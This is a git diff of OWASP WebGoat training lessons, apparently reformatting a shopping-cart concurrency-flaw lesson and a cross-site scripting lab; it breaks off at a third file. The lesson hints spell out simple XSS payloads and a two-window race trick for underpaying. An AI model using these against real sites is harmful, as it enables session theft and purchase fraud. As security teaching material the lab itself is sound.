- //Purchase Button
- Element c = ECSFactory.makeButton("Purchase");
- tr = new TR();
- tr.addElement(new TD().addElement(c).setColSpan(2).setAlign("right"));
- table.addElement(tr);
+ // Item 3
+ tr = new TR();
+ tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino"));
+ tr.addElement(new TD().addElement("$1799.00").setAlign("right"));
+ tr.addElement(new TD().addElement(String.valueOf(quantity3)).setAlign("center"));
- ec.addElement(table);
- ec.addElement(new BR());
-
+ total = quantity3 * 1799;
+ runningTOTAL += total;
+ tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
+ table.addElement(tr);
+
+ // Item 4
+ tr = new TR();
+ tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector "));
+ tr.addElement(new TD().addElement("$649.00").setAlign("right"));
+ tr.addElement(new TD().addElement(String.valueOf(quantity4)).setAlign("center"));
+
+ total = quantity4 * 649;
+ runningTOTAL += total;
+ tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
+ table.addElement(tr);
+
+ ec.addElement(table);
+
+ table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
+
+ if (s.isColor())
+ {
+ table.setBorder(1);
+ }
+
+ ec.addElement(new BR());
+
+ calcTOTAL = runningTOTAL;
+
+ // Total Charged
+ tr = new TR();
+ tr.addElement(new TD().addElement("Total:"));
+ tr.addElement(new TD().addElement("$" + formatFloat(runningTOTAL)).setAlign("right"));
+ table.addElement(tr);
+
+ tr = new TR();
+ tr.addElement(new TD().addElement(" ").setColSpan(2));
+ table.addElement(tr);
+
+ // Credit Card Input
+ tr = new TR();
+ tr.addElement(new TD().addElement("Enter your credit card number:"));
+ tr.addElement(new TD().addElement(new Input(Input.TEXT, "CC", param2)).setAlign("right"));
+ table.addElement(tr);
+
+ // PAC Input
+ tr = new TR();
+ tr.addElement(new TD().addElement("Enter your three digit access code:"));
+ tr.addElement(new TD().addElement(new Input(Input.TEXT, "PAC", param1)).setAlign("right"));
+ table.addElement(tr);
+
+ // Confirm Button
+ Element b = ECSFactory.makeButton("Confirm");
+ tr = new TR();
+ tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right"));
+ table.addElement(tr);
+
+ // Cancel Button
+ Element c = ECSFactory.makeButton("Cancel");
+ tr = new TR();
+ tr.addElement(new TD().addElement(c).setColSpan(2).setAlign("right"));
+ table.addElement(tr);
+
+ ec.addElement(table);
+ ec.addElement(new BR());
+
+ } catch (Exception e)
+ {
+ s.setMessage("Error generating " + this.getClass().getName());
+ e.printStackTrace();
+ }
+
+ return (ec);
}
- catch (Exception e)
+
+ /*
+ * ********************************************************************* ******************
+ * CONFIRMATION PAGE ********************************
+ * *********************************************************************
+ */
+
+ private ElementContainer confirmation(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4)
{
- s.setMessage("Error generating " + this.getClass().getName());
- e.printStackTrace();
+ ElementContainer ec = new ElementContainer();
+
+ final String confNumber = "CONC-88";
+ calcTOTAL = 0;
+ try
+ {
+ // Thread.sleep(5000);
+
+ ec.addElement(new HR().setWidth("90%"));
+ ec.addElement(new Center().addElement(new H1().addElement("Thank you for your purchase!")));
+ ec.addElement(new Center().addElement(new H1().addElement("Confirmation number: " + confNumber)));
+ Table table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%")
+ .setAlign("center");
+
+ if (s.isColor())
+ {
+ table.setBorder(1);
+ }
+
+ // Table Setup
+ TR tr = new TR();
+ tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%"));
+ tr.addElement(new TH().addElement("Price").setWidth("10%"));
+ tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
+ tr.addElement(new TH().addElement("Subtotal").setWidth("7%"));
+ table.addElement(tr);
+
+ // Item 1
+ tr = new TR(); // Create a new table object
+ tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive"));
+ tr.addElement(new TD().addElement("$169.00").setAlign("right"));
+ tr.addElement(new TD().addElement(String.valueOf(quantity1)).setAlign("center"));
+
+ total = quantity1 * 169;
+ calcTOTAL += total;
+ tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
+ table.addElement(tr); // Adds table to the HTML
+
+ // Item 2
+ tr = new TR();
+ tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer"));
+ tr.addElement(new TD().addElement("$299.00").setAlign("right"));
+ tr.addElement(new TD().addElement(String.valueOf(quantity2)).setAlign("center"));
+
+ total = quantity2 * 299;
+ calcTOTAL += total;
+ tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
+ table.addElement(tr);
+
+ // Item 3
+ tr = new TR();
+ tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino"));
+ tr.addElement(new TD().addElement("$1799.00").setAlign("right"));
+ tr.addElement(new TD().addElement(String.valueOf(quantity3)).setAlign("center"));
+
+ total = quantity3 * 1799;
+ calcTOTAL += total;
+ tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
+ table.addElement(tr);
+
+ // Item 4
+ tr = new TR();
+ tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector "));
+ tr.addElement(new TD().addElement("$649.00").setAlign("right"));
+ tr.addElement(new TD().addElement(String.valueOf(quantity4)).setAlign("center"));
+
+ total = quantity4 * 649;
+ calcTOTAL += total;
+ tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
+ table.addElement(tr);
+
+ ec.addElement(table);
+
+ table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
+
+ if (s.isColor())
+ {
+ table.setBorder(1);
+ }
+
+ ec.addElement(new BR());
+
+ // Total Charged
+ tr = new TR();
+ tr.addElement(new TD().addElement("Total Amount Charged to Your Credit Card:"));
+ tr.addElement(new TD().addElement("$" + formatFloat(runningTOTAL)).setAlign("right"));
+ table.addElement(tr);
+
+ tr = new TR();
+ tr.addElement(new TD().addElement(" ").setColSpan(2));
+ table.addElement(tr);
+
+ // Return to Store Button
+ Element b = ECSFactory.makeButton("Return to Store");
+ tr = new TR();
+ tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center"));
+ table.addElement(tr);
+
+ ec.addElement(table);
+ ec.addElement(new BR());
+
+ } catch (Exception e)
+ {
+ s.setMessage("Error generating " + this.getClass().getName());
+ e.printStackTrace();
+ }
+ return (ec);
}
- return (ec);
- }
- String formatInt (int i)
- {
- NumberFormat intFormat =
- NumberFormat.getIntegerInstance(Locale.US);
- return intFormat.format(i);
- }
-
- String formatFloat (float f)
- {
- NumberFormat floatFormat =
- NumberFormat.getNumberInstance(Locale.US);
- floatFormat.setMinimumFractionDigits(2);
- floatFormat.setMaximumFractionDigits(2);
- return floatFormat.format(f);
- }
-
- int thinkPositive(int i)
- {
- if (i < 0 )
- return 0 ;
- else
- return i ;
- }
-
- /**
- * DOCUMENT ME!
- *
- * @return DOCUMENT ME!
- */
- protected Category getDefaultCategory() { return Category.CONCURRENCY; }
-
- /**
- * Gets the hints attribute of the AccessControlScreen object
- *
- * @return The hints value
- */
- protected List getHints(WebSession s)
- {
- List hints = new ArrayList();
- hints.add("Can you purchase the merchandise in your shopping cart for a lower price?");
- hints.add("Try using a new browser window to get a lower price.");
- hints.add("In window A, purchase a low cost item, in window B a high cost item.");
- hints.add("In window A, commit after updating cart in window B.");
+ /*
+ * ********************************************************************* ******************
+ * SHOPPING PAGE **********************************
+ * *********************************************************************
+ */
- return hints;
- }
-
- /**
- * Gets the instructions attribute of the WeakAccessControl object
- *
- * @return The instructions value
- */
- public String getInstructions(WebSession s)
- {
- String instructions = "For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase merchandise for a lower price.";
- return (instructions);
- }
+ private ElementContainer createShoppingPage(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4)
+ {
- private final static Integer DEFAULT_RANKING = new Integer(120);
+ ElementContainer ec = new ElementContainer();
+ subTOTAL = 0;
- protected Integer getDefaultRanking() { return DEFAULT_RANKING; }
+ try
+ {
+ ec.addElement(new HR().setWidth("90%"));
+ ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
+ Table table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%")
+ .setAlign("center");
- /**
- * Gets the title attribute of the AccessControlScreen object
- *
- * @return The title value
- */
- public String getTitle() { return "Shopping Cart Concurrency Flaw"; }
-
- public Element getCredits() { return super.getCustomCredits("", ASPECT_LOGO); }
+ if (s.isColor())
+ {
+ table.setBorder(1);
+ }
+
+ // Table Setup
+ TR tr = new TR();
+ tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%"));
+ tr.addElement(new TH().addElement("Price").setWidth("10%"));
+ tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
+ tr.addElement(new TH().addElement("Subtotal").setWidth("7%"));
+ table.addElement(tr);
+
+ // Item 1
+ tr = new TR(); // Create a new table object
+ tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive"));
+ tr.addElement(new TD().addElement("$169.00").setAlign("right"));
+ tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY1", String.valueOf(quantity1)))
+ .setAlign("right"));
+
+ total = quantity1 * 169;
+ subTOTAL += total;
+ tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
+ table.addElement(tr); // Adds table to the HTML
+
+ // Item 2
+ tr = new TR();
+ tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer"));
+ tr.addElement(new TD().addElement("$299.00").setAlign("right"));
+ tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY2", String.valueOf(quantity2)))
+ .setAlign("right"));
+
+ total = quantity2 * 299;
+ subTOTAL += total;
+ tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
+ table.addElement(tr);
+
+ // Item 3
+ tr = new TR();
+ tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino"));
+ tr.addElement(new TD().addElement("$1799.00").setAlign("right"));
+ tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY3", String.valueOf(quantity3)))
+ .setAlign("right"));
+
+ total = quantity3 * 1799;
+ subTOTAL += total;
+ tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
+ table.addElement(tr);
+
+ // Item 4
+ tr = new TR();
+ tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector "));
+ tr.addElement(new TD().addElement("$649.00").setAlign("right"));
+ tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY4", String.valueOf(quantity4)))
+ .setAlign("right"));
+
+ total = quantity4 * 649;
+ subTOTAL += total;
+ tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
+ table.addElement(tr);
+
+ ec.addElement(table);
+
+ table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
+
+ if (s.isColor())
+ {
+ table.setBorder(1);
+ }
+
+ ec.addElement(new BR());
+
+ // Purchasing Amount
+ tr = new TR();
+ tr.addElement(new TD().addElement("Total: " + "$" + formatInt(subTOTAL) + ".00").setAlign("left"));
+ table.addElement(tr);
+
+ // Update Button
+ Element b = ECSFactory.makeButton("Update Cart");
+ tr = new TR();
+ tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right"));
+ table.addElement(tr);
+
+ tr = new TR();
+ tr.addElement(new TD().addElement(" ").setColSpan(2));
+ table.addElement(tr);
+
+ // Purchase Button
+ Element c = ECSFactory.makeButton("Purchase");
+ tr = new TR();
+ tr.addElement(new TD().addElement(c).setColSpan(2).setAlign("right"));
+ table.addElement(tr);
+
+ ec.addElement(table);
+ ec.addElement(new BR());
+
+ } catch (Exception e)
+ {
+ s.setMessage("Error generating " + this.getClass().getName());
+ e.printStackTrace();
+ }
+ return (ec);
+ }
+
+ String formatInt(int i)
+ {
+ NumberFormat intFormat = NumberFormat.getIntegerInstance(Locale.US);
+ return intFormat.format(i);
+ }
+
+ String formatFloat(float f)
+ {
+ NumberFormat floatFormat = NumberFormat.getNumberInstance(Locale.US);
+ floatFormat.setMinimumFractionDigits(2);
+ floatFormat.setMaximumFractionDigits(2);
+ return floatFormat.format(f);
+ }
+
+ int thinkPositive(int i)
+ {
+ if (i < 0)
+ return 0;
+ else
+ return i;
+ }
+
+ /**
+ * DOCUMENT ME!
+ *
+ * @return DOCUMENT ME!
+ */
+ protected Category getDefaultCategory()
+ {
+ return Category.CONCURRENCY;
+ }
+
+ /**
+ * Gets the hints attribute of the AccessControlScreen object
+ *
+ * @return The hints value
+ */
+ protected List getHints(WebSession s)
+ {
+ List hints = new ArrayList();
+ hints.add("Can you purchase the merchandise in your shopping cart for a lower price?");
+ hints.add("Try using a new browser window to get a lower price.");
+ hints.add("In window A, purchase a low cost item, in window B a high cost item.");
+ hints.add("In window A, commit after updating cart in window B.");
+
+ return hints;
+ }
+
+ /**
+ * Gets the instructions attribute of the WeakAccessControl object
+ *
+ * @return The instructions value
+ */
+ public String getInstructions(WebSession s)
+ {
+ String instructions = "For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase merchandise for a lower price.";
+ return (instructions);
+ }
+
+ private final static Integer DEFAULT_RANKING = new Integer(120);
+
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
+
+ /**
+ * Gets the title attribute of the AccessControlScreen object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return "Shopping Cart Concurrency Flaw";
+ }
+
+ public Element getCredits()
+ {
+ return super.getCustomCredits("", ASPECT_LOGO);
+ }
}
\ No newline at end of file
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/CrossSiteScripting.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/CrossSiteScripting.java
index c848a8b91..60dac506d 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/CrossSiteScripting.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/CrossSiteScripting.java
@@ -1,8 +1,8 @@
+
package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile;
@@ -19,287 +19,266 @@ import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
+
/**
- /*******************************************************************************
+ * /*******************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
- *
+ *
*/
public class CrossSiteScripting extends GoatHillsFinancial
{
- private final static Integer DEFAULT_RANKING = new Integer(100);
+ private final static Integer DEFAULT_RANKING = new Integer(100);
- public final static String STAGE1 = "Stored XSS";
-
- public final static String STAGE2 = "Block Stored XSS using Input Validation";
-
- public final static String STAGE3 = "Stored XSS Revisited";
-
- public final static String STAGE4 = "Block Stored XSS using Output Encoding";
-
- public final static String STAGE5 = "Reflected XSS";
-
- public final static String STAGE6 = "Block Reflected XSS";
-
- protected void registerActions(String className)
- {
- registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
- registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
- registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
- registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
- registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
+ public final static String STAGE1 = "Stored XSS";
- // These actions are special in that they chain to other actions.
- registerAction(new Login(this, className, LOGIN_ACTION,
- getAction(LISTSTAFF_ACTION)));
- registerAction(new Logout(this, className, LOGOUT_ACTION,
- getAction(LOGIN_ACTION)));
- registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
- getAction(VIEWPROFILE_ACTION)));
- registerAction(new UpdateProfile(this, className,
- UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
- registerAction(new DeleteProfile(this, className,
- DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
- }
+ public final static String STAGE2 = "Block Stored XSS using Input Validation";
- /**
- * Gets the category attribute of the CrossSiteScripting object
- *
- * @return The category value
- */
- public Category getDefaultCategory()
- {
- return Category.XSS;
- }
+ public final static String STAGE3 = "Stored XSS Revisited";
- /**
- * Gets the hints attribute of the DirectoryScreen object
- *
- * @return The hints value
- */
- protected List getHints(WebSession s)
- {
- List hints = new ArrayList();
+ public final static String STAGE4 = "Block Stored XSS using Output Encoding";
- // Stage 1
- hints.add("You can put HTML tags in form input fields.");
- hints
- .add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
- hints
- .add("Enter this: <script language=\"javascript\" type=\"text/javascript\">alert(\"Ha Ha Ha\");</script> in message fields.");
- hints
- .add("Enter this: <script>alert(\"document.cookie\");</script> in message fields.");
+ public final static String STAGE5 = "Reflected XSS";
- // Stage 2
- hints
- .add("Many scripts rely on the use of special characters such as: <");
- hints
- .add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
- hints
- .add("The java.util.regex package is useful for filtering string values.");
+ public final static String STAGE6 = "Block Reflected XSS";
- // Stage 3
- hints
- .add("Browsers recognize and decode HTML entity encoded content after parsing and interpretting HTML tags.");
- hints
- .add("An HTML entity encoder is provided in the ParameterParser class.");
-
- // Stage 4
- hints
- .add("Examine content served in response to form submissions looking for data taken from the form.");
-
- // Stage 5
- hints
- .add("Validate early. Consider: out.println(\"Order for \" + request.getParameter(\"product\") + \" being processed...\");");
-
- return hints;
- }
-
-
- /**
- * Gets the instructions attribute of the ParameterInjection object
- *
- * @return The instructions value
- */
- public String getInstructions(WebSession s)
- {
- String instructions = "";
-
- if (!getLessonTracker(s).getCompleted())
+ protected void registerActions(String className)
{
- String stage = getStage(s);
- if (STAGE1.equals(stage))
- {
- instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack. "
- + "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. "
- + "Verify that 'Jerry' is affected by the attack.";
- }
- else if (STAGE2.equals(stage))
- {
- instructions = "Stage 2: Block Stored XSS using Input Validation. "
- + "Implement a fix to block the stored XSS before it can be written to the database. "
- + "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack.";
- }
- else if (STAGE3.equals(stage))
- {
- instructions = "Stage 3: Execute a previously Stored Cross Site Scripting (XSS) attack. "
- + "The 'Bruce' employee profile is pre-loaded with a stored XSS attack. "
- + "Verify that 'David' is affected by the attack even though the fix from stage 2 is in place.";
- }
- else if (STAGE4.equals(stage))
- {
- instructions = "Stage 4: Block Stored XSS using Output Encoding. "
- + "Implement a fix to block XSS after it is read from the database. "
- + "Repeat stage 3. Verify that 'David' is not affected by Bruce's profile attack.";
- }
- else if (STAGE5.equals(stage))
- {
- instructions = "Stage 5: Execute a Reflected XSS attack. "
- + "Use a vulnerability on the Search Staff page to craft a URL containing a reflected XSS attack. "
- + "Verify that another employee using the link is affected by the attack.";
- }
- else if (STAGE6.equals(stage))
- {
- instructions = "Stage 6: Block Reflected XSS using Input Validation. "
- + "Implement a fix to block this reflected XSS attack. "
- + "Repeat step 5. Verify that the attack URL is no longer effective.";
- }
+ registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
+ registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
+ registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
+ registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
+ registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
+
+ // These actions are special in that they chain to other actions.
+ registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
+ registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
+ registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
+ registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
+ registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
- return instructions;
-
- }
-
- @Override
- public String[] getStages() {
- if (getWebgoatContext().isCodingExercises())
- return new String[] {STAGE1, STAGE2, STAGE3, STAGE4, STAGE5, STAGE6};
- return new String[] {STAGE1, STAGE3, STAGE5};
- }
-
- public void handleRequest(WebSession s)
- {
- if (s.getLessonSession(this) == null)
- s.openLessonSession(this);
-
- String requestedActionName = null;
- try
+ /**
+ * Gets the category attribute of the CrossSiteScripting object
+ *
+ * @return The category value
+ */
+ public Category getDefaultCategory()
{
- requestedActionName = s.getParser().getStringParameter("action");
+ return Category.XSS;
}
- catch (ParameterNotFoundException pnfe)
+
+ /**
+ * Gets the hints attribute of the DirectoryScreen object
+ *
+ * @return The hints value
+ */
+ protected List getHints(WebSession s)
{
- // Let them eat login page.
- requestedActionName = LOGIN_ACTION;
+ List hints = new ArrayList();
+
+ // Stage 1
+ hints.add("You can put HTML tags in form input fields.");
+ hints.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
+ hints
+ .add("Enter this: <script language=\"javascript\" type=\"text/javascript\">alert(\"Ha Ha Ha\");</script> in message fields.");
+ hints.add("Enter this: <script>alert(\"document.cookie\");</script> in message fields.");
+
+ // Stage 2
+ hints.add("Many scripts rely on the use of special characters such as: <");
+ hints
+ .add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
+ hints.add("The java.util.regex package is useful for filtering string values.");
+
+ // Stage 3
+ hints
+ .add("Browsers recognize and decode HTML entity encoded content after parsing and interpretting HTML tags.");
+ hints.add("An HTML entity encoder is provided in the ParameterParser class.");
+
+ // Stage 4
+ hints.add("Examine content served in response to form submissions looking for data taken from the form.");
+
+ // Stage 5
+ hints
+ .add("Validate early. Consider: out.println(\"Order for \" + request.getParameter(\"product\") + \" being processed...\");");
+
+ return hints;
}
- if (requestedActionName != null)
+ /**
+ * Gets the instructions attribute of the ParameterInjection object
+ *
+ * @return The instructions value
+ */
+ public String getInstructions(WebSession s)
{
- try
- {
- LessonAction action = getAction(requestedActionName);
+ String instructions = "";
- if (action != null)
+ if (!getLessonTracker(s).getCompleted())
{
- if (!action.requiresAuthentication()
- || action.isAuthenticated(s))
- {
- action.handleRequest(s);
- //setCurrentAction(s, action.getNextPage(s));
- }
+ String stage = getStage(s);
+ if (STAGE1.equals(stage))
+ {
+ instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack. "
+ + "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. "
+ + "Verify that 'Jerry' is affected by the attack.";
+ }
+ else if (STAGE2.equals(stage))
+ {
+ instructions = "Stage 2: Block Stored XSS using Input Validation. "
+ + "Implement a fix to block the stored XSS before it can be written to the database. "
+ + "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack.";
+ }
+ else if (STAGE3.equals(stage))
+ {
+ instructions = "Stage 3: Execute a previously Stored Cross Site Scripting (XSS) attack. "
+ + "The 'Bruce' employee profile is pre-loaded with a stored XSS attack. "
+ + "Verify that 'David' is affected by the attack even though the fix from stage 2 is in place.";
+ }
+ else if (STAGE4.equals(stage))
+ {
+ instructions = "Stage 4: Block Stored XSS using Output Encoding. "
+ + "Implement a fix to block XSS after it is read from the database. "
+ + "Repeat stage 3. Verify that 'David' is not affected by Bruce's profile attack.";
+ }
+ else if (STAGE5.equals(stage))
+ {
+ instructions = "Stage 5: Execute a Reflected XSS attack. "
+ + "Use a vulnerability on the Search Staff page to craft a URL containing a reflected XSS attack. "
+ + "Verify that another employee using the link is affected by the attack.";
+ }
+ else if (STAGE6.equals(stage))
+ {
+ instructions = "Stage 6: Block Reflected XSS using Input Validation. "
+ + "Implement a fix to block this reflected XSS attack. "
+ + "Repeat step 5. Verify that the attack URL is no longer effective.";
+ }
}
- else
- {
- setCurrentAction(s, ERROR_ACTION);
- }
- }
- catch (ParameterNotFoundException pnfe)
- {
- System.out.println("Missing parameter");
- pnfe.printStackTrace();
- setCurrentAction(s, ERROR_ACTION);
- }
- catch (ValidationException ve)
- {
- System.out.println("Validation failed");
- ve.printStackTrace();
- setCurrentAction(s, ERROR_ACTION);
- }
- catch (UnauthenticatedException ue)
- {
- s.setMessage("Login failed");
- System.out.println("Authentication failure");
- ue.printStackTrace();
- }
- catch (UnauthorizedException ue2)
- {
- s.setMessage("You are not authorized to perform this function");
- System.out.println("Authorization failure");
- ue2.printStackTrace();
- }
- catch (Exception e)
- {
- // All other errors send the user to the generic error page
- System.out.println("handleRequest() error");
- e.printStackTrace();
- setCurrentAction(s, ERROR_ACTION);
- }
+
+ return instructions;
+
}
- // All this does for this lesson is ensure that a non-null content exists.
- setContent(new ElementContainer());
- }
+ @Override
+ public String[] getStages()
+ {
+ if (getWebgoatContext().isCodingExercises())
+ return new String[] { STAGE1, STAGE2, STAGE3, STAGE4, STAGE5, STAGE6 };
+ return new String[] { STAGE1, STAGE3, STAGE5 };
+ }
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
+ public void handleRequest(WebSession s)
+ {
+ if (s.getLessonSession(this) == null) s.openLessonSession(this);
+ String requestedActionName = null;
+ try
+ {
+ requestedActionName = s.getParser().getStringParameter("action");
+ } catch (ParameterNotFoundException pnfe)
+ {
+ // Let them eat login page.
+ requestedActionName = LOGIN_ACTION;
+ }
- /**
- * Gets the title attribute of the CrossSiteScripting object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return "LAB: Cross Site Scripting";
- }
+ if (requestedActionName != null)
+ {
+ try
+ {
+ LessonAction action = getAction(requestedActionName);
+
+ if (action != null)
+ {
+ if (!action.requiresAuthentication() || action.isAuthenticated(s))
+ {
+ action.handleRequest(s);
+ // setCurrentAction(s, action.getNextPage(s));
+ }
+ }
+ else
+ {
+ setCurrentAction(s, ERROR_ACTION);
+ }
+ } catch (ParameterNotFoundException pnfe)
+ {
+ System.out.println("Missing parameter");
+ pnfe.printStackTrace();
+ setCurrentAction(s, ERROR_ACTION);
+ } catch (ValidationException ve)
+ {
+ System.out.println("Validation failed");
+ ve.printStackTrace();
+ setCurrentAction(s, ERROR_ACTION);
+ } catch (UnauthenticatedException ue)
+ {
+ s.setMessage("Login failed");
+ System.out.println("Authentication failure");
+ ue.printStackTrace();
+ } catch (UnauthorizedException ue2)
+ {
+ s.setMessage("You are not authorized to perform this function");
+ System.out.println("Authorization failure");
+ ue2.printStackTrace();
+ } catch (Exception e)
+ {
+ // All other errors send the user to the generic error page
+ System.out.println("handleRequest() error");
+ e.printStackTrace();
+ setCurrentAction(s, ERROR_ACTION);
+ }
+ }
+
+ // All this does for this lesson is ensure that a non-null content exists.
+ setContent(new ElementContainer());
+ }
+
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
+
+ /**
+ * Gets the title attribute of the CrossSiteScripting object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return "LAB: Cross Site Scripting";
+ }
public String htmlEncode(WebSession s, String text)
{
- if (STAGE4.equals(getStage(s)) &&
- text.indexOf("") > -1)
+ if (STAGE4.equals(getStage(s)) && text.indexOf("") > -1)
{
setStageComplete(s, STAGE4);
- s.setMessage( "Welcome to stage 5 -- exploiting the data layer" );
+ s.setMessage("Welcome to stage 5 -- exploiting the data layer");
}
-
+
return HtmlEncoder.encode(text);
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/EditProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/EditProfile.java
index 605fa82dc..4224c606e 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/EditProfile.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/EditProfile.java
@@ -1,9 +1,9 @@
+
package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
-
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee;
@@ -12,184 +12,150 @@ import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
